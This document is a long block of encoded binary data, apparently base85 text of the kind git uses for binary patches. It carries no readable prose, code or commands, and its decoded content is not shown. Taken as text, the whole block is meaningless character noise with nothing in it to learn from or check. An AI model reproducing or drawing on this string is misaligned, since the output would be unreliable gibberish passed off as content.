zH*jWOU%dQEhH9U871s`3zwD~&iAhh!FfF3nLg1z?j~^FZwiYzcZGol`QQvdL<0O4_ z4N97+Z`qx|O{o zH19MroeU`Qj1eo|-^RH?!6mDAf~F{fh;;sS{JSK%T}4x3&g(xt@7ah&u{Ej+ubj=X z508idUX58CNl}hu`}Xby(5{LMZj{iO)ab*8HHyg4Lem9M8cPLj(I@2ss=qI1-3O2MB5lxlSC7F26E=BdH!11ZiL6H9(giomPUqsqJ_FWzo8 z*o8n#3#*Wj#$okZd)A`mUB!+Q;kM;Lr0!Zn1xu|lsW)z3ChH1iEwcVQ#wRbm*S#=A z!fl^G#pa&z(0|OeQhGyi?-9~tn5ugFQ$v`Ajx|NUisMj(tNP(7-lFkX=8KYe01cPE z6aDqTvS*s)@Sc&jwnMOP+!LhJjp%Xr`iEe7JXpAg(0by6Lr6V9F}G~O+8bcauo`O# zAWDmXN|DNqj-W+tY9c!L7}0)|*=k(<=iJ=N5KYoOgDuoxc<#8Vz*vEn7GDXQVUbkj z_{p|Yah5UG3xhbDK9K1tQO*d@CI%f4$odw5DHTlD*4B0ixR!lRh0(I=G)uqy+?&zf z+4P+G*0wU) z)ALtr##-_w)&s?~5Z@agC%M!c?L^%Y_;zb$gMt(;7I4k?+%^#ifXo2})5gG!$M^10 ze&&DuYa;o^`q+Yq?Wap2BNfxU&R3s3Uy#Pn9_VReX12VsgL-?)tN@`~sR%*6@W zx8k@#;77F*V8Xa5yB-}A(}tUvj3n$ow^}N;n+@*==Zy6S+Jk?v#0Fvo9BZr}P79pI zaDta^xBmmGq&Qn$ef_PBjIjDLb8&3iL;oEy>IiHEbxy(5bL6pznAoBJa*Qew%%yN~ z>xb=@I*~yM9NW!gWUCi^PSVh?^bsLLWuklhZPb}x{y$GHB}TnT4XG+!esMJ^U=PZd zM4Sq?LV&4+ymrLnV0ah zT3QN;I^H`B!D5MEY^#77VZH=(4@k8mnzQ$k!_ z#Wgkai%Ri{Ln^|rehvE8JDH5wQKvM5wDzzWxpkw|__LOrJbL`%aV(!}HZu+_Y;?Pi zU-#@z$tn3+><-wptd&BOr#z-N3r0NvgnxZZz+mj`z(%ngXbC;KEV z&baLN0>=@1Ubb0zjSe5iE_$%C1GwhUTws}y65kOU8*aM11Uo|~F%k(PaS0;}E95F= z1;nTG?l~)n+&)wbyfwlSEgz&cqIC~z8C{K5xKkQR_wBS(5%*9?W=;-S?j;8&CYLbB zU8TOUrVMt_(I*P zKsvTMX=loJOO_0cK1q24vsi+*KsEt zG&^|CV4Cum_O@|elYlanocXQ(jCQBkSsk4gwlR+9#KO@O7ZkfA3{Hnvbej)2Ty{3F zRrsypbckq1&2VEeP?GncV845nLs5u`%}v+VqClEdUCTqcf!Y!!$y05legwW$0I*dQkb*v zLN5+iJJJK7A)Ne)3mRAz{DCKq9wnWlV_*RH1mPl7k!X@8o1qXvPY*B#MOaBmUj8Vw zNUPj1_Dz`gOnOb^;5X5J!lmt+gJHD{QP{BbfY~{J9^s0+o($mkqkBsqJqli)rML1x z<8r$fvNiY!ZvRtK)zBCl8u|mO2|VEotHZF4P98N>B>+&{cbB0LA9U-kX5WQWA725W8s0CU z{sq;H{|zgSLE&9Yw|j!2K*Ga^FNSakM|V#zFT(JL?}S&2H^}@W?l3gjcn2W&31eca ztq1j%_KfZ8x&ZhA=Gyl}5%MPUu9jL2#FtpP@7)+FXnNZ{-<1jVgpNV#qu57BLoH;E zD@;7p=I4BHQ(%|bYZ5aOAc#qHN;>{UjYoNQ2j@V~cq=Zh z6GN)z%OmhLp*6xBBoIO~lZ;*ftUMNyAPq4mE32cc3l|6m52O;wD<~kz0vs={7wFt0 ztRxWR2}K6TUi8@@P2c7_Uc3lA+O3@n>(FR!0cG?U2SG9o6&+-HIk~wQ-~gy5@hOuW zEvc_pojG4sSxH4tPtH<{s084q=-lw40GtjeU?uV(217{i@MZY^%U8z-`3cm9wKeJk z`VnoiO|a|Wxa>}y0$huM%3$zMdwXn6jjy3$Y(xa9^BI@w5k!+DFbQfLmJFCik{-5u=cV;mZo*6=1w*Hg|3|W_+aHk%OU-4iI zkjj&MMjm$|D`7Q(LaXYAL;Jb7pf&OplB%_Qp|&E|3$d%dYB92+$ssHcYm{j;*CvF% zo=leJVr9LAB-l3}cFyuvqRne&`uWPTVd)Uba8yo?9h%#(bplssNt*JpzXMB`=<0V8 zES4)9 z^ozG>P$E!b|1H|QoQXJUMyGUEdos`MR!;@p(4igScdCx8tOCdFPo<_)ZtQpd=a3P{ zaV48*j50)2f3|-py5n?*uUMndcJj@e6sA*(oto%KL%8%dT719o`UP%}Y7Go7UAN4Z z-Hpcu2L+3?2&>Yrz3*T}fYAc&cgjIxAo%dkPHZpKxVl>!3bwuy=-j=nKAx3_S z@C;4z@5GHWtJ5AB#Pls7S6fauCN)z7>eTn-(9VGL>2+4(2On@jaGr+y?A*2L{*Z3Ge5V{IJ1WUo*n3qjw35YR<^3?pa`L{4QNWI7rN^1{s0}?)2Ax{ zB${)B0|V_8K2XdIl0_`@eN-*UFP!IDj3>VxP|tDHK1FxmbK#r-h3y*?gIy2+WEY8B zFZA9!h-yMcqV3}&*Iu6T_NC_iAzBKP{m@N7D=@LKrQaZ^a$8>D+I4ICN6J3;m|;M{-s_rqQ~-u>7lHF ze}i>C-9)>VZJKcIn{`$j;lO5u4tNbl@kK4W8WY}dU$RH1ak)#x5du~)ElI@j?B30J zdzt6WC9Wu~Xv52%Y_T-IK24d2`eG074QJ9{37W|ktL9wMr}r?tT^byhnN>BsUt1eo2!|ot43cJd;LU6z8R0 z1sSUE=DWmoMzlNAUNK_JKRF` zV(a-!oJVB02~JAH3kzn13O5j6V*{k^aWFt5ko1Qd6gH5SO8eJDMn+6c^Bh;*;=Tf0rbtRYkldPNH6znL zx9m8*f;xozS}UZR1TNcNqLe-KP0K1{k3N!Cz# zep@i=pK;R+5RX|Te|W~7+;S4UPAd5aYG1ArDO~USf$gfOY=R30SaZ1s|BcZz_!oD+ zLNq!UWV439xQ!LCRQI*sjt>l2qH*Z2*A9WjcrS7`I+s*`)3Y(EU7k;dd)>7<{%-a^ znysl_+URP%o2=DkWt*LB)E2=tDq zkT_uqrj%r4YJuy?U0+a831a=ew?M`b9}4F+JXw>zRJoHr@n>E2cs`(MYQy0H<82K z+0|*u+5{xIx6Jay_7>m%C9SU_C=pVsw0FtXOK9Fyrmg2+1CgQEtpC{vrkh+DvY-pd#G1=p&VX7ArI^*p81S2ba zA{a989)lJDQcq4E1(PrwvS5Y~`-r?D1UeA5T8yii{j2$T+ipKxz<*f(VIU^BI}Wsm zuT$h1)kOyBcg37&iJ9t3)i!dLT+UZFFj^WX<0kBVot>Byy6GRcN3^BSELwE*kB;RKra0il(hrt=e5gBUG9OAZ^o0(}x#2ZE%H@BzH zp4r;i5F$c*=l*VPVv+($kIy?RGgEDSjyS&c@qg>$h`-ZInryE(m}F-znj(Go^dAVQ6V+4Ci+2<+b@G&mmmQ>C72f{$d5Z`*&anSY+NZ zw~TuPWWV0vWoUzoil%UWfrJ5Kh4&6yXNd!`QhVgX2Sp@oc76Hvsb&GnT370sCBOME zv{~e?*$7~NT3wA??p$m%K;|9N$;JSvL63&03`iLY3JUPZ1Ea{k`{CiqwapcG{Ci|A zIS7FUg^VAALvrWyJ9k=^cK1vH99?f4UU9HV8vS2}O+X!r^um2kn z!ap$<^ZdDgNJt1a@M2WK7=lp_npF%Scqsh*)}cE-@z9ohUoFl6PHNNR&u`w$4!Tyt zQ;7y1F)#R_!g8Ks8)P}pwopScP;!WruE)oJs`srxtAv2y6Xn*#Mjib(eDi8ZuA;07 zE_35(;Ok-CB_MmmUT^+UZu0y6-JHQki1DYI{Y$og!OKFk!dO~)3n_$GuD~jV1qB2* zD`u@BY?Ko}0>^Jx*ZDpbK;yrW1MBvG%A}`5X6|*G^CL1f+kl5oy3lw-Lu zE0!HVE1I;%MCRz`HuCxN&*|yGQLGPNo`ualoVFQ81_z@#wh5bc!WEt~hoNkFR*?S@q3=Gk+_d-L75d9AJ$i!V0>iV8@jR9*6NliTvSqd19{%Et=Vl^GapbkyT{COlM zVgJ|LNiWc$4u0ijWzfsv&QjwisEj?D8g+J3b>c!uGot|h;KG`mnL$;Vf#}e|LCbhK zQ3n&fT*;ufKN7@7Xf)^GRpnePk4g^q!_P7_|Q^LL~Q&as5WL)}Ciy<}E;@Gh- z)6+*!oQUyvQ|3DYCI%EMhI_oa^+8-RSR0Rmhqn^#Ci)(Sb;Og*EpNa-8D*gWl{P+Y z2;*VCba23a*od}iOkqqPv!HLl8f`_HC>3zVFhHx5J6XP*HJ~2dkUfZhsJCq(GZk@(JfDdDO%=TH9Hq6)#E zb|vFw6{e;v)ura%`(_58_ly&zeOO;#KQUv5ei1Wu_{YVyHBS!@GW$^ipP=SfiOUIS z8Xl6xNoK#`+Ix&kjYem%vIRwmp<83h#<%?IEU6PpBdv6u2%)-))Vnno~{pc^hPDDXo1CrW0h{XY~4 z7>_WASXo+oL}J@x zqAwl13D#v=KWlO}O*%~FvACR5-*L%7Qe-7|wpNogbwEMp;&1(jg*$#HPW2h8=6fpa zlsjtDxlV`EQ&p)QEzdBpI_s{XY}|gR*JaFki2wZWX=-7yL%#%#>}bi)zvjtZJXN40 z6Uj}!(^0+z*8UumwPf-aM{5Dce0{4QCk9l`YU~InlBR}6b4Gho+@vh|>|LAoCsBr1 zdfE>%gNX?NJD9TmA$$g99t9J2W3WYNjZ~GD!zKh}A~ARqHl6@9{!hMvs5_Jjez^D! z9AKY1igE@SCXn^{QnVL96YrsuYHK6)ls$M5hHNp)ZqI&YbVe>De}#PLER41Cq{|u) z*EJ5OI3{gXUP=&ia(NO3>A>ub@f1%jH@LSDnw6;PT2xnC@>$m-OMmWSPV8L1IDIcC zJMCG8Q&l%2e2Rn~4PSd>!|&VIzMwy=-fVAFO`S|{I2GOTG5Jk_Ag#J%vZp|pcE^bF zz=2@TSdCqcLQF>{h>|Zc34E3h)IH zP2ISCeG=`IIzIfmJ5aSt)_m|>!7@@+&17T z#TFF*?(Y2p_bv|V%QT{aaT;#nMk~rc-moDGB5RY_`l`I7AtmGCB~2$yiaI*uwL(sN zw{ebD^{B|$+d_XsS=0Qv;6=~es;n$knm*bK-Lh47ayTON3IpWn)YSfJYBH&fOMi;xpR(boFls&V8kMPOZC~b~YI}bw!>=_(k)&oGUzoSgq+9*=5~B zJH)g8K&=6mm*ty%uB}BteYGVp)xm0p=;P$f#&Igqu94<>$tpc7jjo0aq+gEjRp5{T zC0fD6BlOhw?{`x&(g!o(D%jIHAcPwlWJ6i`C>KF`K+*NGpyXz(iKE)TL$udy<^MJL zNG4$ok3j-Fe}0H1?1-VubvsO9oMA|!pFD}KQ>)%#|H8-KelNTU+m$xpq^#CPtD6II zBrArTQezz_G{0?JtlAIN8qTeeUF;~6GllL;aYIa*}N2}Zn=XK%7 zPh@t-CJ8d&p)1}~*l~Oy#)f#NUZCKhf@7``P{pp@yMu>4^ctk9>P)x!L~s8x4KyD! zXMX;lYX*N!JL#Uja{ ze&;*7Zl_TGR$ZN^rRG`=NkSPTEiDc0bNayAQ(t0V?#jJ8BU)^Y72CA<$TY^&C`uB~ zi4ZK`R;|ZWrSnL3@QdW^Y=Pm-xMG}t70)B;G~8eGuAn-_%#I>!oM4|TPRbkYMq89ipqhy@vuXVqo)e6ZsAM{1!Bc+@&+FVnLEZp}$ z8*iZO7j|DI?qbY|H(q^Qlw5_h(R*cM69Q-dvJtjEPNmk=+NyJ9%D1;t#H?RJpwO#!-J>mFWhHsSX*kg!ESN zG%I1=GM%i$S_L1gq=M-ir^c90eHx61p9NsFLVcUiqr$=;AF>a}cE`?ph++bTx=yHY zmU4ng^}do-Ga3eG`imSNSUJt;-NAWf=66lnwhn*r!{++}@HzdMp`u9-{{DDNJ87V! zBeHzEyL*W2GTqGbV#Ax7Gj_e!{2*a`W!l`i2c7h&%vXTJuDf6zH&)}&8*sqo%jM=b zVU9!&h`UW+^n;t77quV#BnC%BhfA1q*77{T!$M#GEB&_D8V)WV^`YWR>FL;bKjr0F z5hZ9oVOefK5A_Cu9%bphV5jD2F}PB~3ocx_av(ZdX0xYfL$hzj*S_DHBc+W_1w~7y9}~GGYO@=~A04B4No_Nd z#{4$jC6+RKel7OjIc3TN!gq^a7|%|4w&t+3Z_N0(bL;u;Km|g8T_|4R{9F1JG-t`oY-P zd3*K_6vrvB;drLCsVw86E zx0SQiI3)0S(>9$xJ?zJ_Eb*{;x>KiWoI8YwCCFIwh;06h04`aaDF$KSZE&c`i#7lu z*`#LRUI(6VtsE&*UM*2#BsS>u1zpOMLiy}Q0t;r?~lh_MM8TPA3sM+$HATI zPU+-lfeH9M=u{3mNd899h`~dK245q9-C^CDWB<^E@AVypY4NGOOeZeW35aItsDTN0r+Pf@yr{FxkG5$ z5~mq^Pawp!G0}49r&~HvZn!PiCSfUhQFj5qE-W}t%Lt2(iU8W3p&h`G5a3Ag2=$~- zzDuYozXz?3{ek-Sy0ZaOCs?YKz7GQXR^b27&#wXLWpzL^kqy3r40qr%6oDxwnKn6Y zZ;+I&lrFF3<7Bu$k_Nw=noR88vE<}FP(om9)!F4!G>T@79ea&>B7eAVZ?~WN+87(H zpDS-|c*TMFW0kaM2$uq<@2Z_6raSDDoVZH#%=%8wR)~nKuQODB91?C^!VC<8DS`^t zvN^Hr&v^j@#1)2M96lX+dG(Y24CLcSfR#|NWD!yg?wG>PgDDGaR07GPUyHagQ) z?(P#dzgy@+6vmgC$IlHiTmnOV1Bwh;Ye~N~uC94sy!E4qH$c@32O=<|&Y3fX97diR z*_;@#b0n&Q67O8T44)*|F8*t3#1}PoivQHUfz#iS_yDw(8eH>7?tpZ?xq+dPN98)J ziDKfL1@o$KVxXScI!4^lzUipgBBACuuTox4tXkeC$&aE>NE+90I$^ig_4qknG76h~ zTh++I#zwtOo^FoA1>()pv@fDk0D}rn{hA82&xWQRBgj%uU*GLo*d;FPJH5A#UN)X^ zLhi#k9t_!76HH3dW(iC#0?ld__yigp=|deW9c(42wMMR$%+Nh-ANOQf80@3ck$ki2 z7W94i=y22FIS)Fdw;?I$E|IlS=mh+HVDpx zg$s}H;5X&hH8f}<5nLq7h5WhM7r;;uH38(ykP0+KiHR=j*MCKz$I>Qh!ELrk+5CB% z8$2uL2zXeL&J=76cnJ|MVfgx5Q$wO=QgZUOl$4-Z+Vc|?Rk9Icf$Iu#Wm-E}2wZk2 zd(6Aqn^!e%1si5E@Qar(?c6*#D+vgXI?cI(1~fM}5KOkHbI+3L=u8>CBs)NknY_5F z0w(>0P~cNaET8Iil)|7B7lErqU%~5sMw`TKKyehVhZC0N}wVagPATY!b&o~%1wO1_*(PQP`U7}y2TU*c!XSp4tbbr;=*|o^6yV>+>cvX-IcMVBjugO8x*O&4etK%Z&EhXNy*M3r# zamt-5s3jTiLYV&h*RPA5e%n0}jMt{GsusjXJTy3T&VJcO+e9$We62(CR-JB>%Nhkf z(DFRm{r}wh+LxuGUVi+zr?Ffc=t@cHCBfI{Q{}exw#hlWaBQVty!i0Cu7!nq+3)Y) zMRIN;l3_M$bv1d7exD1aoGT71%gcQwi`8@vH)4dF{KF9XJXfm$Re9BupEed|c*gjz zA`=NDn%2mFD(Ql&iTx+J19Z~S@i&Ag_X=t_&{yb@lsHf1q|81slQb5j_dSMw{P>_AUlQR_tf{&g_46&;X+hs4~Gk%Ct1X zAW#^8y0_C2x%wnj;Ag0ASQ~m#v~f`f4s2&s;(`UE_4VgDIW^&!zk2mHqY%NAD_gfd z@?c02hd35!&SXN&X__J&!%`C-xr>R4f>e+-ha?I?J^Py70pIe2ObtRDNEqVwh5Y0j z0Iv2Fl!(8p$yeI%vdcc{Tj^?pgYWCMs-AOw{?NyFfB68_fElwU`>+16(HAvT%u21E z#*&*u>-PF;s^<-kx-L7Yhs9wPii;H?mUe#ghqeR!JU$c{qm~ewcn&TC4g9ADy1E7l zf*YO_Qv#rZ*qO>L!_)uUP@`}tOJ9Hg`#g|Ei*7SR=;*(Ac_DqstJ!nB9(Nh*jFq1h z6H`uo@aBz#bUHt+X}LysYaS*b0CkuZ0IaNKzW{28+>(8?ZyO~js@m!U4qf6+a?9i$ z=gbik7e{Y}6EyzG7mP%~&$;c#+FjvE*lgH+{2bOJ;%~U`-%{>6++MMG@gQ=ok0+*F zJRqKkw2n*7=0sS6Q?Qj6CGCI#>WhS|4H;KL7q9 zy($`1E+DF9j;Wr=8@f!j4mb($WMuBig|TM!Y8=nNmz>D_7E6(K5Gn~h9uaou5Dju+ za8rVFLNCHQgD=k}XV*I$Xx)FRU_G!$xGh-{bpg_6EUIpwr{_E*v0p&y|6gr@9u%&D zl9au|aY#}tS1T;`f<=qO?d5Ooco@;}>(>g>t(BzdO?LAjkPAAVISV@tqe`(wcSHnX z<|>IzJ!jO!kvi=7xn$R_NynaWrYTE`a{i&sn7Squ=>=1i(3(C23UGaVk494V4b*7> z8XsyecH&hGS!?{%|LL`eS))1srgU*Z_P`ra%de#t%j|!UZerKjp8ED=K@D^@&Q#e_ z*;PAF^j~jMTv?)5G^ngkIz?fAV4&q0hY~YT$&+z${pwUK{u)eO#bpc#z*As40}u`P z2Y@rEFZBcP2=xO;JclJ&JjrW5L12(k$q8#|nTr^Z4^3W1(Cz`1W=IBh(rIu$;1fU} z2F2;@;zDW*hDpMHzcEIPlHtMj?~Cm0!iW{X3C<`z=rR=Gy}ezYv?7>YQjV33d^b=@ z$)}}mMw8314)MwytHq3UT)1cveFzTlwX0Xt9&;}zo;U$NvxQTPt<1fFXL&OETIkQb zydV;12=RhU21fx}BRAb_^E)LP-X%-!uB$kWNH^Uv{U(PNkswxu(%}Wcq3m4QoUJ_m zjEoFAUcLc@5!r+MSmY87w3mVdjxZ8gS;*Biy>IjuY-F-4Zr!<~AT9mv*DvnwikB~0 zVNAe)_U8xlSNL;uKtXUE;o{TBg>@&CzH!sqpp^rgq&c^YKF0hMmeb+dMVu1%@O%Bf zwD_kbCi+U!jQ!vb_C4qt^Y&ST-aY}!CbUJ9f68#TQ>T7G7r_LfwNX>sjgEu{h?a@I z1RtI7VAm$O$&>FfUS(_cGHx}P-}cVVU4DM^l(tjXBVi@0=fj8Y^%t%O_60&B3wp4d;a`d zDi220BYU;ds4E+{RV(j+Vv*mn_85PWvfw#^*GH*_s+NxNN=I9$nsZR7@^0r{?at{f za!oq(J5jY@{Ub;71fCoDE9Ds2}IBykwx z{zu%pbZHmY6yhIHftb!4SX*{jNsg#wO85`@58N&yi33EWu-JBO}<&~N4_DF348z#>T`@FY}hfB_t^Fo;S3@ z)d1S`es!U&VfB%AaE%c@$i4LRFy#yVx3F>}dyk~Q9IqN1=H5fI($S-spjz^JG(6HX zCg(z$a8p%9aG!$gl?VSzb-{rXv2M(pYeAJO+OBj)u*eMZb~K?$YmkuloJf`)ZZHrvOSHMHpLc#h2{DHfI#w2hYJsjIH)sh5~<>;rt3O#~4 zXiiaFaa8kVxCAGdn&vr)zkiINfEvW>IyNGf@A-+w2-o=F?5m;b>Y^({05j-a7-ZIm z5onCoz<}5j{ZIRc#(D&+A7^2$A0QkqT(QtymE@2>w;>UJ@(J!$5%c!{HjcMZ6X{ZQ zR;wOr9VWeBgxeQ~QNLhU(CZO0P=g4HJl$ybNVJ{~tVW)y9niMZ&9BxSlyw5R_wT2rod?$O+~}%|-GKPFoaSXw75?PO|t8 z9s!b(E+f%)fU^wND(|FBG3f)$zs&~J=eR}bOzaxq4MWl;cc^J-K%rgi+uS085+P+^pxlPw0Pm*do=zS0ABEz#hFbtM1#Gti4N9Xwu?5OEhW%BKhhA=bYe6HtnWl9f`PP zu&J-9s?DfvLTjC&I+mor#G$n_Q?f(G7rc6I}#@9gNYV=%PT zD+u9ky!`=3!gRg#Olls+WlE|s4{Nlc;g{A9>Kn`)X`MS)uGFkF)7sVVvNW)wVsgkl zqnPz`Q9alSV)j`gHS##rm@^=8RLXf}-Wn&!KWZkv3-A>8Lvb0&<9`VA&IkoW4)0pK`d!J%n6!Yfu46}0|HLL1XNqerWCpbQMxh5iGp6r!t^h&} z{X67xiNnWD8LNT@_A6Cp@uJ(AA#PLuMDdyUbMuffXR3A^h~>;%w(Q5}&o&dZ<2+-! z^qmi%u4Gm)H&6LX+X<`E*6t4-K794{fqOPidlmarGt>^*D^aInuf;v8!GkhR7hANr zztD~?3-JW*`vYm}ciVP$NP&B1-c+G}lNA+Y)JzlNHchP+5%I_xbEYp!Ud(qyttem+ zm(|Rjb$IL&}M+3OH zq_%H$PVjhzeH(dO0%5JFn`1XjlGgmfFW!fSP8QGKUr#abYy{D*&vpNV78{rC+4uDqsCD2pi8 z2usjwMR#VwXz!~;4}~p9$r<2(X;CO=^S1vp?#6M z1KbA=jGnWr-Trm(>VdaRV%Kjbdvz|cbo)+6w8+iS)!wL@wR+yX3X3kuQZv;yxnQf9 zQ>Ww)j#gbUN@{;ggtz##DMnY1>u8#yE2z6+q*IDKp)6^#ME#KKcXPDstq1oi=S)vL z8}oU3ze!_dwK9t3&dqDAP3aTaxMH8sf88BLA)OUAyFX}_nQ5I|%K#VweBzyrGztu+ z-SiL?5j_s&lYoC%;!Auh>RsyP;hOl19UUA}^fqvsb33Fr2+|Tayt>E@%wB|jy6SSH z2q66SZNTr13}FB}3F~KdsS;8H8j_Q4>CzMIRCFqYt5|6@H8;E5^|=6|Z)+=JKM$?$ zN`7gjRY@8ordn*k3^ro^absQG@R1|Kryi&};Tf?+sw95@ii52+OhENHRQT0#{<{VD zOKprLs{(^ikH|Hq4)ptAg@{-^)gEbp0W(ShuaB8%^vr%r6iajroVFa3m*4KV7sl3{nfbK{%7 zyRTcS3a>3%oV&!YccH)i&pq3F`i|u)?V21k9^MsO_Y>%Mqtx$Tzfxx#(ELz%rltzU zcv2d0bx_4<$$t6uD~GcPtr?g8xlZ@(L82 z8Oy^q2K%Hr<)S7gt*OJGy+@#Gc2*VwDKWcGh?C9Lp94)%NfDmh(^uIwASV6p-@eJ? z%n!!7c<7#sOstu?CF^tC5t-wi=i;-5pNl*fYnVQGOyts=?uiRW8Ft2Bs2gxJYRPH- zXM=rq%(<-LR~rrd8hQ)De|J<>?H_kwL^ zhzv@mE_1pSVqP@%iOi67rk9(36FNl?y3Mj)>!I3100q^bCmA+OXn5UlN%wARXU~>B z4{kMhJ{qvgv$UsgrG~you=u?_zP?%H$%joB680eJj2;{sT3Pw*l`DjlzJ~22=DgOI zb}?3GdUtm>+<|uF3PIxZSm{&!*nUE#m(tQiwY7K-dEFwxkKCv9{>{XqN%IGAH+%Ne zKYx7u{kv%;7cP968Ys_b&ad?8)hABI#x_$QGrNH{d{exZYrH3sTQ?G(MD)L6ls#v&>VQ=$|}ghu&@~ev^M)QyLvTnr?2R#P#txaxzMO@RF1f#)(f6l!Eqv)rnON)sP5!?ALkV z!>n|pg~QT3OC4*nr)e(@3JQEoc296f$b!C$b8U*E`GlODMPK&48=jyq*r z-@n8r`ua_}19w#c(^x2SOL|_?t6yg2@u==>MfZz!h|kQOCCS9s_T^R`^J51N9&pZM zmglLP;gGk;JA}lvle6bm=@e;( z{r|7c-fG9}eNO8gK8H$LMOMTLQJ31Ub-bw^ny5Lmdrp9;-}0v2Gpq(HEf~7vw^;35 ztA&>+3&vQVys~hocJ}OeYm4xzFLr7J{}|5u6y06wzH|7({SBMuUbT+-PqOcY*uYJjvB6+Tw1!Qy+ho}t}5(RWnWF> z$MW)^?hz`()dI&vHF@YkRxr z{OoVL|BFcdH#RbAproXaVD{A^Lha&`3z{N)wr;gvqs;kEG@{5Hlk}|IJzXPobbzKr z7t87y8sw(*_kNz#WxROh%H)IuJ%?Q3{tsL&`wsYv^ji&QVY{lj&F-mL?+t$um4}gj z-H#&E`nE_8`Tpf;a_)sG?h%>(K~~8K22i`Qj<65ltcjgI{09orZ=?hOik|E;mS`>o z?a>}IveI;bXwA=`NeKy+FJFdz9v<_iU&mr?|5Z$}rX@r6-t8|E5VY1%F8b$S>shKB zR+%KyVOw3w>-AWFeS3bxn07<$-;cJL<*z)Xw^?yvTzAKYR=M6LtrCrWeM@b2&2Z`( zG>7Jymk! zQ%7dyo0UJ?WH!{exBXZh92nicTJvh#cEgU1v^cK73guc?m9YYVd z?YealKd!cL2X=S+`*y-Pf@r%I1ZUJyp8#IcufoP3>f0k5`Lv`c{mIu)XSXX&y4te1 zq*cUJxuYv(;rWt_@#-h~?cY>km8Tcf)Nht*@8W5%S`t1=ACK32EbTWkT(kU6ieJfc z$sw{uS3RE3m^-_uc5mUTl~LYNsc}s!s=Y%th)hv^eE8wODiLL!+#!y-O-^;HVq+hk zl-M=hbc{#qVpS)nnK7&79DiHyUH3j**hb}wh1o7VxZSr)Jhk`fY03C_51G@OIQw?- zij2zBLXLg9m!=1Pj#PNMVs*-qw~`^gIVthcEu9->PfcC+Ps$dh2MUXS58Z2VY*|45 zgljwcBqg#U9+vJZ-P3P@y#EAitDvf4N5(=FxXIb<+2P{@yMiYRe|yrCFQ|AyYg|?1 z6B8p%{z3mQRbT{%iz)}zejv98#VoHw@!S233|@qF^)ntTino&8zc~L8!d6#TXKQW) z50266ri+FxQXGWx3`27+48ov0OX4#D}SNnQd|Dm^i6iorOxU^@FSYU0fZD=SrObS~L z&=zjK^*eSDG66T`jc(8UAciQLAxaVY#(!7I54en&LGS{45^iK>A`u)Dns4T zD?HY%tE{Lno;p>aF7KxY+s^nzZ*K;*eq;LsO`*jUOhv)IMzoCS_MiW$g$z5O)8*Wr znx5{kV8J*&y@-MuUNp!W78g>1|Ni;oWquOc7jlDDk0%Y^koCa{eC}4iADZ!12mwQoMqcV^?jfqe=@noCyFrK-F<1NdD=CR(640j(_cfZL%GhC_Px{Q2uQ zZ|JC&@(X8Y2Ci7lY58Tcm-7vj;?2>~XOv^($2FAz}QHd7&!B2}Vs6jM}-4>Fb zAGUM*_8M~y6%`OjB4_UJ)F2c&e=9z{_XJsU$Wd0&w1Hf4ZCQ2@L_pfdUC7GF$Wq8e zkksNY-n=D>?G$0iF1Q?WVnhFg@EqyPSkq`6_&B6d=<0$HKXTWAe&jsiQ-V_PcX6=r zhhUALJ$`(g^M2ku&LKf80aYNXF$OYCI6;sx*!wvk7ii3@SJ_zj3Mu-D6!qmvekr@t zXM#*-Q$r2BUqSeu){OdsoYg`bK0*Bi_qp|1l$7mtB$%FwOdBl~!u`yj7q}gD>$9wU z_b%?l9oNMMsb(sdJ^smm(RxW*bwR>HzHXC$x=G#q9O5;@bQ$^F9VK~9UhV~!S2^kkEV?VzRh%Mw{P#LT+ z@Fh1@abwGx`n?4;SRgsB->|d?58l(;?J{c?_RD@YXOK!1yi#y(32bk2W3&T5kSD42 zgv>7JdGH5%IEGUrhUe*0aB{ElFlhqdno=iR8(bCCr4^#Z+bg+;tNUnZXaTUWZ`@E3 z&$T9rP<49i2mLXeWGB)UqA+sA2&<&M-p6%nZB6c22h~n^IqmiB)V0)1&w3T~UP|qn z)aaqOO(afgluk-kim^zW*{SCQ|lZe6&I!;f>B`Ee^k>gPT zNHD`BT~lJUF6oriRF@=f4SHoIG$!qs)kQV$a}(3ltQRjK&8%s=gLwF;=}Y8&!o_3< z>swX-IWVm6Ovim!^U20l&izK&TRj>T+86mxs~{+bR24QAtpqwoyG;rgg>!QB?rW#k zFZP9kpwYk75PW>(W7{eN(S=fF_r^M}$yA)*5cM)QUa@(3dzH+d{s&?sR`xAVNBRIx zjw2AO{JU>O4Z@aM_L;%K`7nb5u<-l$z^GhgNcy8kV<=|$x9zkEnBd^!kS;9HQ$n31 z5EPA&jr%^b1|vw})(_90%NJxIi0kbQfSgW?mvG^!pQR>Uv!-ax4OPox-_sxfX$guVFo$`0drjC_6_QrfL?RKmw(;V4-@AS`_ww^&pp#ZJvh zNZM9f%Bf4|n#7Ujfe{i$1AWE3Z)3654av$S!xqLYTypv8 zfYoU#OUv9>U!^GfvaRN4{|EP*0u;qg=XSY&cX`#(mi*9U?2I=;-M#hEou4nhYcZ@G z)jxUkx>K!-b?-m@w{t=JlBIKdHcD08>2Iy`-%|C%gT#8p$Ewu5D>;4mhk?{P*@Q#~ z7i)1Ni8>wIbJ8U@f-e8DIvVrfQ+q*J+)&dJD{BkUD<<>mi)IRMACx^(>_4NvmG++R zy}$KexWcLD^iAs{Wqa>T|I_lY%UUU-_gD0lwFep)N-Z?6XlrI`aJOMgYC>Q47?0P@ zg+kiL2EB~?@~7b6*TkM32C_!pj+K3aa4JAFSZWyOG(KV{J?C!7l_mEda z%dgSn{}%R)-KXk)d2P&>@uL4S$#)moH2y7^3J9wY(LzeZU8dRBm7oy;LV#2Us@O$Aw`(CcrjyWaf<9@dT&<4DbjX>8DPdn02NiVfMMWxB*Qn6HYvUK*ht#T|v2e(!y^(!9VL1 zj?U}>Vgo_shr>L9(}y*B6eYn%N{u01q(TV6eevcEvj4x$&BBN7gSk+Jq<=uY34|Rj^j$SX3!lcUR41+91Hud7TO^Lo zq>$|_^^ot`)<}WBYz&zlFGy!?&OM}EDzI-ItmT3RG(h-ge(*PQ?`%?em=I4eM-)|C z-rf9~7c2s>%@nv{k~Z+Gn8xVfo|JZF%QvensEF(ktWn-!u4tmCRZt2a92T?0?>=Tu zB0mv?Fh5O4@-uKUI4a5-$_T2cg`@r}w+t6#v;%C1Xd&{r>D>;n3s#mX$YDuD_739I}(ht$%?bAXd2ogH30@cfB0*l-K>js=Axt& z7KqtJkheR&Fk{%?xjZM@q%w%v{L+fgm5sm?+#=^?ZeSg zzkYoi5%f=9#@rAP7J9WXkq$>LUrHK_;_H0#dGKWLU_vx=M58y!*t|1RQiZ2D6T2s1Opgp6)0zyEt4JV 